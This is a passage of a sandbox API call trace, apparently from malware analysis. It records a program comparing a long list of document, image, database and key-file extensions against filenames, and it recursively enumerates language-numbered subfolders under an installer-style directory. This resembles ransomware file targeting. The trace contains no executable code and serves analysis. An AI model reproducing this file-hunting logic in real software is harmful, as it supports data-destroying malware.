[0194.927] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0194.927] lstrlenW (lpString=".indd") returned 5 [0194.927] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0194.927] lstrlenW (lpString=".ini") returned 4 [0194.927] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0194.927] lstrlenW (lpString=".iqy") returned 4 [0194.927] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0194.927] lstrlenW (lpString=".j2c") returned 4 [0194.927] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0194.927] lstrlenW (lpString=".j2k") returned 4 [0194.927] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0194.927] lstrlenW (lpString=".java") returned 5 [0194.927] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0194.927] lstrlenW (lpString=".jp2") returned 4 [0194.927] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0194.927] lstrlenW (lpString=".jpc") returned 4 [0194.927] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0194.927] lstrlenW (lpString=".jpe") returned 4 [0194.927] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0194.927] lstrlenW (lpString=".jpeg") returned 5 [0194.927] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0194.927] lstrlenW (lpString=".jpf") returned 4 [0194.927] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0194.927] lstrlenW (lpString=".jpg") returned 4 [0194.928] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0194.928] lstrlenW (lpString=".jpx") returned 4 [0194.928] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0194.928] lstrlenW (lpString=".js") returned 3 [0194.928] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0194.928] lstrlenW (lpString=".jsf") returned 4 [0194.928] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0194.928] lstrlenW (lpString=".json") returned 5 [0194.928] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0194.928] lstrlenW (lpString=".jsp") returned 4 [0194.928] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0194.928] lstrlenW (lpString=".kdc") returned 4 [0194.928] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0194.928] lstrlenW (lpString=".kmz") returned 4 [0194.928] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0194.928] lstrlenW (lpString=".kwm") returned 4 [0194.928] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0194.928] lstrlenW (lpString=".lasso") returned 6 [0194.928] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0194.928] lstrlenW (lpString=".lbi") returned 4 [0194.928] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0194.928] lstrlenW (lpString=".lgf") returned 4 [0194.928] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0194.928] lstrlenW (lpString=".lgp") returned 4 [0194.928] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0194.928] lstrlenW (lpString=".log") returned 4 [0194.928] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0194.928] lstrlenW (lpString=".m1v") returned 4 [0194.928] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0194.928] lstrlenW (lpString=".m4a") returned 4 [0194.929] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0194.929] lstrlenW (lpString=".m4v") returned 4 [0194.929] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0194.929] lstrlenW (lpString=".max") returned 4 [0194.929] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0194.929] lstrlenW (lpString=".md") returned 3 [0194.929] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0194.929] lstrlenW (lpString=".mda") returned 4 [0194.929] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0194.929] lstrlenW (lpString=".mdb") returned 4 [0194.929] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0194.929] lstrlenW (lpString=".mde") returned 4 [0194.929] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0194.929] lstrlenW (lpString=".mdf") returned 4 [0194.929] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0194.929] lstrlenW (lpString=".mdw") returned 4 [0194.929] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0194.929] lstrlenW (lpString=".mef") returned 4 [0194.929] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0194.929] lstrlenW (lpString=".mft") returned 4 [0194.929] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0194.929] lstrlenW (lpString=".mfw") returned 4 [0194.929] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0194.929] lstrlenW (lpString=".mht") returned 4 [0194.929] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0194.929] lstrlenW (lpString=".mhtml") returned 6 [0194.929] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0194.929] lstrlenW (lpString=".mka") returned 4 [0194.929] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0194.930] lstrlenW (lpString=".mkidx") returned 6 [0194.930] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0194.930] lstrlenW (lpString=".mkv") returned 4 [0194.930] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0194.930] lstrlenW (lpString=".mos") returned 4 [0194.930] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0194.930] lstrlenW (lpString=".mov") returned 4 [0194.930] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0194.930] lstrlenW (lpString=".mp3") returned 4 [0194.930] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0194.930] lstrlenW (lpString=".mp4") returned 4 [0194.930] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0194.930] lstrlenW (lpString=".mpeg") returned 5 [0194.930] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0194.930] lstrlenW (lpString=".mpg") returned 4 [0194.930] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0194.930] lstrlenW (lpString=".mpv") returned 4 [0194.930] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0194.930] lstrlenW (lpString=".mrw") returned 4 [0194.930] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0194.930] lstrlenW (lpString=".msg") returned 4 [0194.930] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0194.930] lstrlenW (lpString=".mxl") returned 4 [0194.930] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0194.930] lstrlenW (lpString=".myd") returned 4 [0194.930] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0194.930] lstrlenW (lpString=".myi") returned 4 [0194.931] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0194.931] lstrlenW (lpString=".nef") returned 4 [0194.931] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0194.931] lstrlenW (lpString=".nrw") returned 4 [0194.931] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0194.931] lstrlenW (lpString=".obj") returned 4 [0194.931] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0194.931] lstrlenW (lpString=".odb") returned 4 [0194.931] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0194.931] lstrlenW (lpString=".odc") returned 4 [0194.931] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0194.931] lstrlenW (lpString=".odm") returned 4 [0194.931] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0194.931] lstrlenW (lpString=".odp") returned 4 [0194.931] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0194.931] lstrlenW (lpString=".ods") returned 4 [0194.931] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0194.931] lstrlenW (lpString=".oft") returned 4 [0194.931] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0194.931] lstrlenW (lpString=".one") returned 4 [0194.931] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0194.931] lstrlenW (lpString=".onepkg") returned 7 [0194.931] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0194.931] lstrlenW (lpString=".onetoc2") returned 8 [0194.931] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0194.931] lstrlenW (lpString=".opt") returned 4 [0194.932] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0194.932] lstrlenW (lpString=".oqy") returned 4 [0194.932] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0194.932] lstrlenW (lpString=".orf") returned 4 [0194.932] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0194.932] lstrlenW (lpString=".p12") returned 4 [0194.932] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0194.932] lstrlenW (lpString=".p7b") returned 4 [0194.932] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0194.932] lstrlenW (lpString=".p7c") returned 4 [0194.932] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0194.932] lstrlenW (lpString=".pam") returned 4 [0194.932] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0194.932] lstrlenW (lpString=".pbm") returned 4 [0194.932] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0194.932] lstrlenW (lpString=".pct") returned 4 [0194.932] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0194.932] lstrlenW (lpString=".pcx") returned 4 [0194.932] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0194.932] lstrlenW (lpString=".pdd") returned 4 [0194.932] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0194.932] lstrlenW (lpString=".pdf") returned 4 [0194.932] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0194.932] lstrlenW (lpString=".pdp") returned 4 [0194.932] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0194.933] lstrlenW (lpString=".pef") returned 4 [0194.933] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0194.933] lstrlenW (lpString=".pem") returned 4 [0194.933] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0194.933] lstrlenW (lpString=".pff") returned 4 [0194.933] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0194.933] lstrlenW (lpString=".pfm") returned 4 [0194.933] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0194.933] lstrlenW (lpString=".pfx") returned 4 [0194.933] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0194.933] lstrlenW (lpString=".pgm") returned 4 [0194.933] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0194.933] lstrlenW (lpString=".php") returned 4 [0194.933] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0194.933] lstrlenW (lpString=".php3") returned 5 [0194.933] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0194.933] lstrlenW (lpString=".php4") returned 5 [0194.933] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0194.933] lstrlenW (lpString=".php5") returned 5 [0194.933] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0194.933] lstrlenW (lpString=".phtml") returned 6 [0194.934] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0194.934] lstrlenW (lpString=".pict") returned 5 [0194.934] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0194.934] lstrlenW (lpString=".pl") returned 3 [0194.934] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0194.934] lstrlenW (lpString=".pls") returned 4 [0194.934] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0194.934] lstrlenW (lpString=".pm") returned 3 [0194.934] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0194.934] lstrlenW (lpString=".png") returned 4 [0194.934] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0194.934] lstrlenW (lpString=".pnm") returned 4 [0194.934] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0194.934] lstrlenW (lpString=".pot") returned 4 [0194.934] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0194.934] lstrlenW (lpString=".potm") returned 5 [0194.934] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0194.934] lstrlenW (lpString=".potx") returned 5 [0194.934] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0194.934] lstrlenW (lpString=".ppa") returned 4 [0194.934] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0194.934] lstrlenW (lpString=".ppam") returned 5 [0194.934] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0194.934] lstrlenW (lpString=".ppm") returned 4 [0194.934] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0194.934] lstrlenW (lpString=".pps") returned 4 [0194.934] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0194.934] lstrlenW (lpString=".ppsm") returned 5 [0194.934] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0194.934] lstrlenW (lpString=".ppt") returned 4 [0194.935] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0194.935] lstrlenW (lpString=".pptm") returned 5 [0194.935] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0194.935] lstrlenW (lpString=".pptx") returned 5 [0194.935] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0194.935] lstrlenW (lpString=".prn") returned 4 [0194.935] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0194.935] lstrlenW (lpString=".ps") returned 3 [0194.935] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0194.935] lstrlenW (lpString=".psb") returned 4 [0194.935] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0194.935] lstrlenW (lpString=".psd") returned 4 [0194.935] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0194.935] lstrlenW (lpString=".pst") returned 4 [0194.935] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0194.935] lstrlenW (lpString=".ptx") returned 4 [0194.935] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0194.935] lstrlenW (lpString=".pub") returned 4 [0194.935] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0194.935] lstrlenW (lpString=".pwm") returned 4 [0194.935] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0194.935] lstrlenW (lpString=".pxr") returned 4 [0194.935] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0194.935] lstrlenW (lpString=".py") returned 3 [0194.935] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0194.935] lstrlenW (lpString=".qt") returned 3 [0194.935] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0194.935] lstrlenW (lpString=".r3d") returned 4 [0194.935] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0194.935] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.936] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.936] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.936] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.936] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.936] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.936] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.936] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1eb0 [0194.936] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.094] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.094] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.094] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.094] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.094] FindClose (in: hFindFile=0x7a1eb0 | out: hFindFile=0x7a1eb0) returned 1 [0195.094] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.094] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.094] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.094] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1eb0 [0195.094] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.094] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.095] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.095] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.095] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.095] FindClose (in: hFindFile=0x7a1eb0 | out: hFindFile=0x7a1eb0) returned 1 [0195.095] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.095] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.095] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.095] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1d30 [0195.095] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.095] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.096] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.096] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.096] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.096] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0195.096] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.096] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.096] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.096] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1eb0 [0195.096] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.096] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.096] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.097] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.097] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.097] FindClose (in: hFindFile=0x7a1eb0 | out: hFindFile=0x7a1eb0) returned 1 [0195.097] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.097] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.097] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.097] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1b70 [0195.097] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.097] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.097] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.098] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.098] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.098] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0195.098] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.098] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.098] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.098] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1b70 [0195.098] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.098] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.098] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.098] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.153] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.153] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0195.153] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.153] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.153] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.153] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1d30 [0195.153] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.153] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.153] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.153] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.154] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.154] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0195.154] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.154] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.154] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.154] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1ef0 [0195.460] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.460] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.460] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.460] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.460] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.460] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.460] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.461] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.461] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.461] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1d30 [0195.461] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.461] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.461] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.461] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.461] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.461] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0195.461] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.462] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.462] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.462] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1d30 [0195.462] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.462] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.462] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.462] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.462] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.462] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0195.462] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.462] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.463] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 